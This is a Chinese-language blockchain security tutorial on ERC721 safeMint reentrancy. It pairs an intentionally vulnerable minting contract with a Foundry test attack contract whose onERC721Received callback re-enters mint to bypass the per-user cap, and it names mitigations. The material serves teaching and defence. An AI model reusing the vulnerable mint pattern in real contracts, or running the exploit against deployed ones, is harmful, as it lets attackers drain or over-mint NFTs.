区块链安全常见的攻击分析——Unprotected callback - ERC721 SafeMint reentrancy【8】

1.1 漏洞分析

1. MaxMint721 漏洞合约的 mint 函数调用了 ERC721 合约中的 _safeMint 函数
   2. 而 _safeMint 会进一步调用 _checkOnERC721Received 函数，最终触发 to 地址中实现 IERC721Receiver 接口的 onERC721Received 函数，而to地址是可以传入的。
   
2. 在 onERC721Received 中，可以再次调用 mint 函数，从而实现重入攻击。

1.2 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

import "../../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";

/*
名称：未保护的回调 - ERC721 SafeMint 重入漏洞 Unprotected callback - ERC721 SafeMint reentrancy

描述：
ContractTest 合约利用回调功能绕过了 MaxMint721 合约设置的最大铸造限制。
通过触发 onERC721Received 函数，该函数内部再次调用了 mint 函数。
因此，尽管 MaxMint721 尝试限制用户可以铸造的最大代币数量（MAX_PER_USER），
但 ContractTest 合约仍然成功铸造了超过限制的代币数量。

场景：
本练习展示了一个通过回调函数铸造更多 NFT 的合约漏洞。

缓解措施：
遵循检查-效果-交互模式（check-effect-interaction），并使用 OpenZeppelin Reentrancy Guard。

参考资料：
https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a
https://www.paradigm.xyz/2021/08/the-dangers-of-surprising-code

*/

contract MaxMint721 is ERC721Enumerable {
    uint256 public MAX_PER_USER = 10;

    constructor() ERC721("ERC721", "ERC721") {}

    function mint(uint256 amount) external {
        require(
            balanceOf(msg.sender) + amount <= MAX_PER_USER,
            "exceed max per user"
        );
        for (uint256 i = 0; i < amount; i++) {
            uint256 mintIndex = totalSupply();
            _safeMint(msg.sender, mintIndex);
        }
    }
}

1.3 攻击分析

1. 在攻击合约中重写 onERC721Received 函数，并在函数内调用 MaxMint721.mint 函数。

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        console.log(
            "Unprotected-callback_Attack-onERC721Received()-complete:",
            i
        );
        // 只有第一次调用onERC721Received函数的时候触发mint函数，不然会无限循环
        if (!complete) {
            complete = true;
            MaxMint721Contract.mint(9);
            console.log("Called with :", 9);
            console.log("in complete:", complete);
        }
        return this.onERC721Received.selector;
    }

2. 将攻击合约地址作为 to 参数传入 ERC721 的 _checkOnERC721Received 函数。
   

3. 由于 MaxMint721.mint 会调用 _checkOnERC721Received，从而触发攻击合约的 onERC721Received 函数，形成重入攻击。

 function mint(uint256 amount) {
            _safeMint(msg.sender, mintIndex);
        }
        
 function _safeMint(address to, uint256 tokenId) internal virtual {
        _safeMint(to, tokenId, "");
    }
    
 function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
        require(
            _checkOnERC721Received(address(0), to, tokenId, data)
        );
    }
    
function _checkOnERC721Received( ) {IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) }

function onERC721Received() {
            MaxMint721Contract.mint(9);
        }

4. 输出结果
   

5. 整个流程如下
   

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Unprotected-callback.sol";

contract ContractTest is Test {
    MaxMint721 MaxMint721Contract;
    address Koko;
    address Aquarius;
    bool complete;
    uint256 i;

    function setUp() public {
        MaxMint721Contract = new MaxMint721();
        // Koko = vm.addr(1);
        // Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
        i = 0;
        console.log("Unprotected-callback_Attack-setUp()-complete:", i);
    }

    function testUnprotectedcallback() public {
        console.log(
            "Unprotected-callback_Attack-testUnprotectedcallback()-address(this):",
            address(this)
        );
        uint256 balance;
        balance = MaxMint721Contract.balanceOf(address(this));
        console.log(
            "11-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
            balance
        );
        MaxMint721Contract.mint(10);
        balance = MaxMint721Contract.balanceOf(address(this));
        console.log(
            "22-Unprotected-callback_Attack-testUnprotectedcallback()-balance:",
            balance
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        console.log(
            "Unprotected-callback_Attack-onERC721Received()-complete:",
            complete
        );
        // 只有第一次调用onERC721Received函数的时候触发mint函数，不然会无限循环
        if (!complete) {
            complete = true;
            MaxMint721Contract.mint(9);
            console.log("Called with :", 9);
        }
        return this.onERC721Received.selector;
    }
}